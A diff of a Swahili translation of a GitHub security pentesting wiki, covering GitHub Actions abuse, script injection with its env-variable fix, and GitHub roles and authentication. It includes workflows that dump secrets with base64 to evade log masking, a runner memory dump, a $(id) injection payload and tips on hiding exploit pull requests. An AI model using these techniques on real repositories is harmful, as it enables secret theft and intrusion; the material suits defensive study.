+> Kwa hivyo ikiwa action inatumia repo kutoka kwa akaunti isiyokuwepo, bado inawezekana kwamba attacker anaweza kuunda akaunti hiyo na compromise action.
 
-If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+Ikiwa repositories nyingine zilikuwa zikitumia **dependencies kutoka kwenye user repos hii**, attacker ataweza ku-hijack hizo. Hapa kuna maelezo ya kina zaidi: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
 
 ---
 
 ## Repo Pivoting
 
 > [!NOTE]
-> Katika sehemu hii tutazungumzia techniques ambazo zinaweza kuruhusu **pivot from one repo to another** tukizingatia kwamba tuna aina fulani ya access kwenye repo ya kwanza (angalia sehemu ya awali).
+> Katika sehemu hii tutazungumzia techniques zitakazoruhusu **pivot from one repo to another** ikizingatiwa kuwa tuna aina fulani ya access kwenye ile ya kwanza (tazama sehemu iliyotangulia).
 
 ### Cache Poisoning
 
-A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
+Cache huhifadhiwa kati ya **workflow runs in the same branch**. Hii inamaanisha kwamba ikiwa attacker ata-compromise package ambayo kisha itahifadhiwa kwenye cache na itachukuliwa (downloaded) na kutekelezwa na workflow yenye **more privileged**, ataweza ku-compromise workflow hiyo pia.
 
 {{#ref}}
 gh-actions-cache-poisoning.md
@@ -421,7 +421,7 @@ gh-actions-cache-poisoning.md
 
 ### Artifact Poisoning
 
-Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
+Workflows zinaweza kutumia **artifacts from other workflows and even repos**, ikiwa attacker atafanikiwa ku-compromise Github Action inayofanya **uploads an artifact** ambayo baadaye inatumika na workflow nyingine, anaweza ku-compromise workflows nyingine:
 
 {{#ref}}
 gh-actions-artifact-poisoning.md
@@ -433,7 +433,7 @@ gh-actions-artifact-poisoning.md
 
 ### Github Action Policies Bypass
 
-As commented in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), even if a repository or organization has a policy restricting the use of certain actions, an attacker could just download (`git clone`) and action inside the workflow and then reference it as a local action. As the policies doesn't affect local paths, **the action will be executed without any restriction.**
+Kama ilivyoelezwa katika [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), hata kama repository au organization ina policy inayozuia matumizi ya actions fulani, attacker anaweza tu download (`git clone`) action ndani ya workflow kisha kuitaja kama local action. Kwa kuwa policies hazihusishi local paths, **the action will be executed without any restriction.**
 
 Example:
 ```yaml
@@ -470,13 +470,13 @@ Check the following pages:
 
 ### Kupata secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
 
-Ikiwa unaingiza maudhui ndani ya script, ni muhimu kujua jinsi unavyoweza kupata secrets:
+Ikiwa unakiingiza maudhui katika script, ni muhimu kujua jinsi unavyoweza kupata secrets:
 
-- Ikiwa secret au token imewekwa kama **environment variable**, inaweza kupatikana moja kwa moja kupitia environment kwa kutumia **`printenv`**.
+- Ikiwa secret au token imewekwa kama **variable ya mazingira**, inaweza kupatikana moja kwa moja kupitia mazingira kwa kutumia **`printenv`**.
 
 <details>
 
-<summary>Orodhesha secrets katika output ya Github Action</summary>
+<summary>Orodhesha secrets katika Github Action output</summary>
 ```yaml
 name: list_env
 on:
@@ -503,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 <details>
 
-<summary>Pata reverse shell with secrets</summary>
+<summary>Pata reverse shell na secrets</summary>
 ```yaml
 name: revshell
 on:
@@ -526,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-- Ikiwa secret imetumika **directly in an expression**, script ya shell iliyotengenezwa imehifadhiwa **on-disk** na inapatikana.
+- If the secret is used **directly in an expression**, the generated shell script is stored **kwenye diski** na inapatikana.
 - ```bash
 cat /home/runner/work/_temp/*
 ```
-- Kwa JavaScript actions, secrets hutumwa kupitia environment variables
+- For a JavaScript actions, secrets hutumwa kupitia environment variables
 - ```bash
 ps axe | grep node
 ```
-- Kwa **custom action**, hatari inaweza kutofautiana kulingana na jinsi program inavyotumia secret iliyoipata kutoka kwa **argument**:
+- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
 
 ```yaml
 uses: fakeaction/publish@v3
@@ -542,7 +542,7 @@ with:
 key: ${{ secrets.PUBLISH_KEY }}
 ```
 
-- Orodhesha secrets zote kupitia secrets context (collaborator level). Contributor mwenye write access anaweza kubadilisha workflow kwenye branch yoyote ili dump secrets zote za repository/org/environment. Tumia double base64 ili kuepuka GitHub’s log masking na udecode locally:
+- Orodhesha secrets zote kupitia secrets context (collaborator level). Contributor mwenye write access anaweza kubadilisha workflow kwenye branch yoyote ili kudump secrets zote za repository/org/environment. Tumia double base64 kuepuka GitHub’s log masking na decode locally:
 
 ```yaml
 name: Steal secrets
@@ -564,13 +564,13 @@ Decode locally:
 echo "ZXdv...Zz09" | base64 -d | base64 -d
 ```
 
-Tip: kwa usiri wakati wa majaribio, encrypt kabla ya kuchapisha (openssl imewekwa awali kwenye GitHub-hosted runners).
+Tip: kwa ajili ya stealth wakati wa testing, encrypt kabla ya kuchapisha (openssl imewekwa awali kwenye GitHub-hosted runners).
 
 ### Kutumia vibaya Self-hosted runners
 
-Jinsi ya kubaini ni GitHub Actions zipi zinaendeshwa katika non-github infrastructure ni kutafuta **`runs-on: self-hosted`** katika Github Action configuration yaml.
+Njia ya kugundua ni zipi **Github Actions are being executed in non-github infrastructure** ni kutafuta **`runs-on: self-hosted`** kwenye Github Action configuration yaml.
 
-**Self-hosted** runners yanaweza kuwa na ufikiaji wa **extra sensitive information**, kwa **network systems** nyingine (vulnerable endpoints in the network? metadata service?) au, hata kama imepangwa kutengwa na kuharibiwa, **more than one action might be run at the same time** na ile mbaya inaweza **steal the secrets** za ile nyingine.
+**Self-hosted** runners yanaweza kupata ufikiaji wa **extra sensitive information**, kwa wengine **network systems** (vulnerable endpoints katika network? metadata service?) au, hata ikiwa yamekatwa na kusambaratishwa, **more than one action might be run at the same time** na ile yenye madhumuni mabaya inaweza **steal the secrets** ya nyingine.
 
 Katika self-hosted runners pia inawezekana kupata **secrets from the \_Runner.Listener**\_\*\* process\*\* ambayo itakuwa na secrets zote za workflows katika hatua yoyote kwa kudump memory yake:
 ```bash
@@ -579,14 +579,14 @@ sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ prin
 ```
 Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
 
-### Usajili wa Docker Images wa Github
+### Github Docker Images Registry
 
-Inawezekana kutengeneza Github actions ambazo zitakuwa **kujenga na kuhifadhi Docker image ndani ya Github**.\
-Mfano unaweza kupatikana katika sehemu inayoweza kupanuliwa ifuatayo:
+Inawezekana kuunda Github actions ambazo zitajenga na kuhifadhi **Docker image ndani ya Github**.\
+Mfano upo kwenye yafuatayo inayoweza kupanuliwa:
 
 <details>
 
-<summary>Github Action Kujenga na Kupakia Docker Image</summary>
+<summary>Github Action Build & Push Docker Image</summary>
 ```yaml
 [...]
 
@@ -632,18 +632,18 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
 
 ### Taarifa nyeti katika Github Actions logs
 
-Hata kama **Github** inajaribu **detect secret values** katika logs za actions na **avoid showing** zao, **other sensitive data** ambazo zinaweza kuwa zimeundwa wakati wa utekelezaji wa action hazitafichwi. Kwa mfano JWT iliyosainiwa na secret value haitafichwi isipokuwa ika [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
+Hata kama **Github** inajaribu **kutambua secret values** katika actions logs na **kuepuka kuonyesha** hizo, **data nyingine nyeti** ambazo zinaweza kuwa zimezalishwa wakati wa utekelezaji wa action hazitafichwa. Kwa mfano JWT iliyosainiwa kwa secret value haitafichwa isipokuwa ikiwa [imewekwa maalum](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
 
-## Kuficha alama zako
+## Kuficha dalili zako
 
-(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Kwanza kabisa, PR yoyote iliyowasilishwa inaonekana wazi kwa umma kwenye Github na kwa akaunti lengwa ya GitHub. Kwa chaguo-msingi kwenye GitHub, hatuwezi kufuta PR kutoka kwenye internet, lakini kuna ujanja. Kwa akaunti za Github ambazo zime **suspended** na Github, PR zao zote zinafutwa kiotomatiki na kuondolewa kutoka kwenye internet. Hivyo, ili kuficha shughuli zako unahitaji ama kuifanya akaunti yako ya **GitHub account suspended or get your account flagged**. Hii itaficha shughuli zako zote kwenye GitHub kutoka kwenye internet (kimsingi kuondoa PR zako za exploit).
+(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Kwanza kabisa, PR yoyote iliyowasilishwa inaonekana wazi kwa umma kwenye Github na kwa akaunti lengwa ya GitHub. Katika GitHub kwa chaguo-msingi, sisi **can’t delete a PR of the internet**, lakini kuna mabadiliko. Kwa akaunti za Github ambazo zime **suspended** na Github, PR zao zote **zanafuta kiotomatiki** na kuondolewa kutoka kwenye internet. Kwa hivyo ili kuficha shughuli zako unahitaji kupata ama akaunti yako ya **GitHub account suspended au akaunti yako iflagged**. Hii itafanya **kuificha shughuli zako zote** kwenye GitHub kutoka internet (kimsingi kuondoa all your exploit PR)
 
-Shirika kwenye GitHub linachukua hatua kwa haraka kuripoti akaunti kwa GitHub. Unachohitaji kufanya ni kushiriki “some stuff” kwenye Issue na watahakikisha akaunti yako inasuspended ndani ya masaa 12 :p na hapo una, umefanya exploit yako isionekane kwenye github.
+Shirika kwenye GitHub ni makini sana kuripoti akaunti kwa GitHub. Unachohitaji kufanya ni kushiriki “mambo fulani” katika Issue na watahakikisha akaunti yako itasuspended ndani ya masaa 12 :p na hivyo, umefanya exploit yako ionekane isiyoonekana kwenye github.
 
 > [!WARNING]
-> Njia pekee kwa shirika kugundua limewekwa lengo ni kuchunguza GitHub logs kutoka SIEM kwa sababu kutoka GitHub UI PR itafutwa.
+> Njia pekee kwa shirika kugundua wamezingatiwa ni kuchunguza GitHub logs kutoka SIEM kwa sababu kutoka GitHub UI PR itafutwa.
 
-## Marejeo
+## References
 
 - [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
 

src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md

@@ -4,18 +4,18 @@
 
 ## Kuelewa hatari
 
-GitHub Actions hufasiri usemi ${{ ... }} kabla hatua haijatekelezwa. Thamani iliyofasiriwa inaingizwa kwenye programu ya hatua (kwa run steps, shell script). Ikiwa unachanganya input isiyoaminika moja kwa moja ndani ya run:, mshambuliaji anadhibiti sehemu ya programu ya shell na anaweza kutekeleza amri za aina yoyote.
+GitHub Actions renders expressions ${{ ... }} before the step executes. The rendered value is pasted into the step’s program (for run steps, a shell script). If you interpolate untrusted input directly inside run:, the attacker controls part of the shell program and can execute arbitrary commands.
 
-Nyaraka: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions na contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
+Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
 
-Mambo muhimu:
-- Ufasiri hutokea kabla ya utekelezaji. run script inaundwa ikiwa usemi wote umetatuliwa, kisha utekelezaji unafanywa na shell.
-- Context nyingi zina nyField zinazoendeshwa na watumiaji kulingana na tukio linalochochea (issues, PRs, comments, discussions, forks, stars, n.k.). Angalia rejea ya untrusted input: https://securitylab.github.com/resources/github-actions-untrusted-input/
-- Shell quoting ndani ya run: sio ulinzi wa kuaminika, kwa sababu injection hutokea katika hatua ya template rendering. Wadukuzi wanaweza kutoka nje ya nukuu au kuingiza operators kupitia input iliyotengenezwa kwa makusudi.
+Vidokezo muhimu:
+- Uundaji (rendering) hufanyika kabla ya utekelezaji. The run script inaundwa kwa expressions zote zilizosuluhishwa, kisha inatekelezwa na shell.
+- Contexts nyingi zina nyanja zinazodhibitiwa na mtumiaji kulingana na tukio linalochochea (issues, PRs, comments, discussions, forks, stars, n.k.). Angalia rejea ya untrusted input: https://securitylab.github.com/resources/github-actions-untrusted-input/
+- Shell quoting ndani ya run: sio ulinzi wa kuaminika, kwa sababu injection hutokea katika hatua ya template rendering. Wavamizi wanaweza kuvunja nukuu au kuingiza operators kupitia input iliyotengenezwa kwa ustadi.
 
-## Vulnerable pattern → RCE on runner
+## Mfano hatarishi → RCE on runner
 
-Vulnerable workflow (triggered when someone opens a new issue):
+Workflow hatarishi (inayoanzishwa wakati mtu anafungua issue mpya):
 ```yaml
 name: New Issue Created
 on:
@@ -36,20 +36,20 @@ with:
 github_token: ${{ secrets.GITHUB_TOKEN }}
 labels: new
 ```
-Ikiwa mshambuliaji anafungua issue yenye kichwa $(id), hatua inayoonyeshwa inakuwa:
+Ikiwa mshambuliaji anafungua issue yenye kichwa $(id), hatua iliyowasilishwa itakuwa:
 ```sh
 echo "New issue $(id) created"
 ```
-Ubadilishaji wa amri unatekeleza id kwenye runner. Mfano wa matokeo:
+Ubadilishaji wa amri (command substitution) unaendesha id kwenye runner. Mfano wa pato:
 ```
 New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
 ```
-Kwa nini kutumia nukuu hakutakuokoa:
-- Expressions zinaandaliwa kwanza, kisha script inayotokana inaendeshwa. Ikiwa thamani isiyokuwa ya kuaminika ina $(...), `;`, `"`/`'`, au newlines, inaweza kubadili muundo wa programu licha ya nukuu ulizoweka.
+Kwa nini kunukuu hakukuokoa:
+- Mielezo zinatengenezwa kwanza, kisha script inayotokana inaendeshwa. Ikiwa thamani isiyoaminika ina $(...), `;`, `"`/`'`, au newlines, inaweza kubadilisha muundo wa programu licha ya kunukuu kwako.
 
 ## Mfano salama (shell variables via env)
 
-Kukabiliana sahihi: nakili pembejeo isiyokuwa ya kuaminika kwenye environment variable, kisha tumia upanuzi wa asili wa shell ($VAR) katika run script. Usire-embed tena kwa ${{ ... }} ndani ya amri.
+Kupunguza hatari sahihi: nakili ingizo lisiloaminika ndani ya environment variable, kisha tumia native shell expansion ($VAR) katika run script. Usirudishe tena kwa ${{ ... }} ndani ya command.
 ```yaml
 # safe
 jobs:
@@ -63,30 +63,30 @@ run: |
 echo "New issue $TITLE created"
 ```
 Vidokezo:
-- Epuka kutumia ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
-- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
+- Epukana kutumia ${{ env.TITLE }} ndani ya run:. Hii inarejesha template rendering ndani ya amri na inaleta hatari ile ile ya injection.
+- Pendelea kupitisha inputs zisizo waaminifu kupitia env: mapping na kuzi-refer kwa $VAR ndani ya run:.
 
-## Nyenzo zinazoweza kuzinduliwa na msomaji (chukulia kama zisizoaminika)
+## Nyuso zinazoweza kusababishwa na msomaji (zitachukuliwe kuwa zisizo waaminifu)
 
-Akaunti ambazo zina tu ruhusa ya kusoma kwenye public repositories bado zinaweza kuzindua matukio mengi. Kila field katika contexts zinazotokana na matukio haya inapaswa kuzingatiwa kuwa iko chini ya udhibiti wa mshambuliaji isipokuwa kuthibitishwa vinginevyo. Mifano:
+Akaunti zenye tu ruhusa ya kusoma kwenye public repositories bado zinaweza kusababisha matukio mengi. Kila uwanja katika contexts zinazotokana na matukio haya lazima uchukuliwe kuwa udhibitiwa na mshambuliaji isipokuwa kuthibitishwa vinginevyo. Mifano:
 - issues, issue_comment
-- discussion, discussion_comment (orgs zinaweza kudhibiti discussions)
+- discussion, discussion_comment (orgs zinaweza kuzuia mijadala)
 - pull_request, pull_request_review, pull_request_review_comment
-- pull_request_target (hatari kama itatumiwa vibaya, inaendesha katika base repo context)
-- fork (mtu yeyote anaweza kufork public repos)
-- watch (kutoa nyota repo)
-- Kwa njia zisizo za moja kwa moja kupitia workflow_run/workflow_call chains
+- pull_request_target (hatari ikiwa itatumika vibaya, inaendesha katika muktadha wa base repo)
+- fork (mtu yeyote anaweza kufanya fork ya repos public)
+- watch (kuweka nyota kwenye repo)
+- Kwa njia isiyo ya moja kwa moja kupitia mnyororo wa workflow_run/workflow_call
 
-Ni maalumu ni field zipi ziko chini ya udhibiti wa mshambuliaji hutegemea tukio. Konsulta mwongozo wa GitHub Security Lab kuhusu untrusted input: https://securitylab.github.com/resources/github-actions-untrusted-input/
+Ni kutegemea tukio ni uwanja gani hasa unaodhibitiwa na mshambuliaji. Rejea GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
 
 ## Vidokezo vya vitendo
 
-- Minimize use of expressions inside run:. Prefer env: mapping + $VAR.
-- If you must transform input, do it in the shell using safe tools (printf %q, jq -r, etc.), still starting from a shell variable.
-- Kuwa mwangalifu zaidi unapokuwa unachanganya branch names, PR titles, usernames, labels, discussion titles, na PR head refs ndani ya scripts, command-line flags, au file paths.
-- Kwa reusable workflows na composite actions, tumia pattern ile ile: map to env then reference $VAR.
+- Punguza matumizi ya expressions ndani ya run:. Tumia env: mapping + $VAR.
+- Ikiwa lazima ubadilishe input, fanya hivyo kwenye shell ukitumia zana salama (printf %q, jq -r, n.k.), ukianza bado kutoka kwa shell variable.
+- Kuwa wa tahadhari zaidi unapoingiza branch names, PR titles, usernames, labels, discussion titles, na PR head refs ndani ya scripts, command-line flags, au file paths.
+- Kwa reusable workflows na composite actions, tumia mtindo ule ule: map kwenda env kisha urejeee kwa $VAR.
 
-## References
+## Marejeo
 
 - [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
 - [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)

src/pentesting-ci-cd/github-security/basic-github-information.md

@@ -1,156 +1,156 @@
-# Basic Github Information
+# Maelezo ya Msingi ya Github
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Structure
+## Muundo wa Msingi
 
-The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**.
+Muundo wa msingi wa mazingira ya Github kwa kampuni kubwa ni kwamba kampuni inamiliki **enterprise** ambayo inamiliki **several organizations** na kila moja yao inaweza kuwa na **several repositories** na **several teams**. Kampuni ndogo zinaweza kumiliki **just one organization and no enterprises**.
 
-From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**.
+Kutoka kwa mtazamo wa mtumiaji, **user** anaweza kuwa **member** wa **different enterprises and organizations**. Ndani yao mtumiaji anaweza kuwa na **different enterprise, organization and repository roles**.
 
-Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles.
+Zaidi ya hayo, mtumiaji anaweza kuwa **part of different teams** na kuwa na majukumu tofauti ya enterprise, organization au repository.
 
-And finally **repositories may have special protection mechanisms**.
+Na hatimaye, **repositories may have special protection mechanisms**.
 
 ## Privileges
 
 ### Enterprise Roles
 
-- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository
-- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**.
+- **Enterprise owner**: Watu wenye jukumu hili wanaweza **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. Hata hivyo, hawawezi **access organization settings or content** isipokuwa wakateuliwa kuwa organization owner au wakapewa ufikiaji wa moja kwa moja wa repository inayomilikiwa na organization.
+- **Enterprise members**: Members wa organizations zinazomilikiwa na enterprise yako pia huwa **automatically members of the enterprise**.
 
 ### Organization Roles
 
-In an organisation users can have different roles:
+Ndani ya organization watumiaji wanaweza kuwa na majukumu tofauti:
 
-- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization.
-- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**.
-- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information.
-- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization.
-- If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization.
-- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions.
-- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization.
+- **Organization owners**: Organization owners wana **complete administrative access to your organization**. Jukumu hili linapaswa kufungiwa kwa idadi ndogo, lakini si chini ya watu wawili, ndani ya organization yako.
+- **Organization members**: Hili ndilo **default**, jukumu lisilo la utawala kwa **people in an organization**. Kwa default, organization members **have a number of permissions**.
+- **Billing managers**: Billing managers ni watumiaji wanaoweza **manage the billing settings for your organization**, kama vile taarifa za malipo.
+- **Security Managers**: Hii ni jukumu ambalo organization owners wanaweza kulipa timu yoyote ndani ya organization. Linapotekelezwa, linawapa kila mwanachama wa timu ruhusa za **manage security alerts and settings across your organization, as well as read permissions for all repositories** ndani ya organization.
+- Ikiwa organization yako ina timu ya usalama, unaweza kutumia jukumu la security manager kuwapa wanachama wa timu ufikiaji mdogo wanaohitaji kwa organization.
+- **Github App managers**: Ili kuruhusu watumiaji wengine **manage GitHub Apps owned by an organization**, owner anaweza kuwapa ruhusa za GitHub App manager.
+- **Outside collaborators**: Outside collaborator ni mtu ambaye ana **access to one or more organization repositories but is not explicitly a member** wa organization.
 
-You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
+Unaweza **compare the permissions** za majukumu haya katika jedwali hili: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
 
 ### Members Privileges
 
-In _https://github.com/organizations/\<org_name>/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**.
+Katika _https://github.com/organizations/\<org_name>/settings/member_privileges_ unaweza kuona **permissions users will have just for being part of the organisation**.
 
-The settings here configured will indicate the following permissions of members of the organisation:
+Mipangilio iliyo hapa itabainisha ruhusa zifuatazo za wanachama wa organisation:
 
-- Be admin, writer, reader or no permission over all the organisation repos.
-- If members can create private, internal or public repositories.
-- If forking of repositories is possible
-- If it's possible to invite outside collaborators
-- If public or private sites can be published
-- The permissions admins has over the repositories
-- If members can create new teams
+- Kuwa admin, writer, reader au bila ruhusa juu ya repositories zote za organization.
+- Ikiwa wanachama wanaweza kuunda private, internal au public repositories.
+- Ikiwa forking ya repositories inawezekana.
+- Ikiwa inawezekana kumualika outside collaborators.
+- Ikiwa public au private sites zinaweza kuchapishwa.
+- Ruhusa ambazo admins wana juu ya repositories.
+- Ikiwa wanachama wanaweza kuunda timu mpya.
 
 ### Repository Roles
 
-By default repository roles are created:
+Kwa default majukumu ya repository huundwa:
 
-- **Read**: Recommended for **non-code contributors** who want to view or discuss your project
-- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access
-- **Write**: Recommended for contributors who **actively push to your project**
-- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions
-- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository
+- **Read**: Inashauriwa kwa **non-code contributors** ambao wanataka kuona au kujadili mradi wako.
+- **Triage**: Inashauriwa kwa **contributors who need to proactively manage issues and pull requests** bila ufikiaji wa kuandika.
+- **Write**: Inashauriwa kwa contributors ambao **actively push to your project**.
+- **Maintain**: Inashauriwa kwa **project managers who need to manage the repository** bila ufikiaji wa vitendo nyeti au vinavyoharibu.
+- **Admin**: Inashauriwa kwa watu wanaohitaji **full access to the project**, ikijumuisha vitendo nyeti na vinavyoharibu kama kusimamia usalama au kufuta repository.
 
-You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
+Unaweza **compare the permissions** za kila jukumu katika jedwali hili [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
 
-You can also **create your own roles** in _https://github.com/organizations/\<org_name>/settings/roles_
+Unaweza pia **create your own roles** katika _https://github.com/organizations/\<org_name>/settings/roles_
 
 ### Teams
 
-You can **list the teams created in an organization** in _https://github.com/orgs/\<org_name>/teams_. Note that to see the teams which are children of other teams you need to access each parent team.
+Unaweza **list the teams created in an organization** katika _https://github.com/orgs/\<org_name>/teams/. Note that to see the teams which are children of other teams you need to access each parent team._
 
 ### Users
 
-The users of an organization can be **listed** in _https://github.com/orgs/\<org_name>/people._
+Watumiaji wa organization wanaweza **listed** katika _https://github.com/orgs/\<org_name>/people._
 
-In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**.
+Katika taarifa za kila mtumiaji unaweza kuona **teams the user is member of**, na **repos the user has access to**.
 
 ## Github Authentication
 
-Github offers different ways to authenticate to your account and perform actions on your behalf.
+Github inatoa njia mbalimbali za ku-authenticate kwa akaunti yako na kutekeleza vitendo kwa niaba yako.
 
 ### Web Access
 
-Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**).
+Kupitia **github.com** unaweza kuingia kwa kutumia **username and password** (na mara nyingi **2FA**).
 
 ### **SSH Keys**
 
-You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys)
+Unaweza kusanidi akaunti yako na moja au zaidi ya public keys zinazomruhusu **private key kuperform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys)
 
 #### **GPG Keys**
 
-You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
+Huwezi **impersonate the user with these keys** lakini ikiwa hautatumia inaweza kutokea utakaguliwa kwa kutuma commits bila signature. Jifunze zaidi kuhusu [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
 
 ### **Personal Access Tokens**
 
-You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens)
+Unaweza kuunda personal access token ku **give an application access to your account**. Unapounda personal access token **user** anatakiwa **specify** ruhusa ambazo **token** itakuwa nazo. [https://github.com/settings/tokens](https://github.com/settings/tokens)
 
 ### Oauth Applications
 
-Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms.
+Oauth applications zinaweza kukuomba ruhusa **to access part of your github information or to impersonate you** kutekeleza vitendo fulani. Mfano wa kawaida ni kitufe cha **login with github** utakachoona kwenye baadhi ya platform.
 
-- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers)
-- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications)
-- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
-- You can see third party access of applications in an **organization** in _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
+- Unaweza **create** yako mwenye **Oauth applications** katika [https://github.com/settings/developers](https://github.com/settings/developers)
+- Unaweza kuona zote **Oauth applications that has access to your account** katika [https://github.com/settings/applications](https://github.com/settings/applications)
+- Unaweza kuona **scopes that Oauth Apps can ask for** katika [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
+- Unaweza kuona third party access ya applications katika **organization** katika _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
 
-Some **security recommendations**:
+Baadhi ya mapendekezo ya usalama:
 
-- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes..
-- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user.
-- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
-- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it.
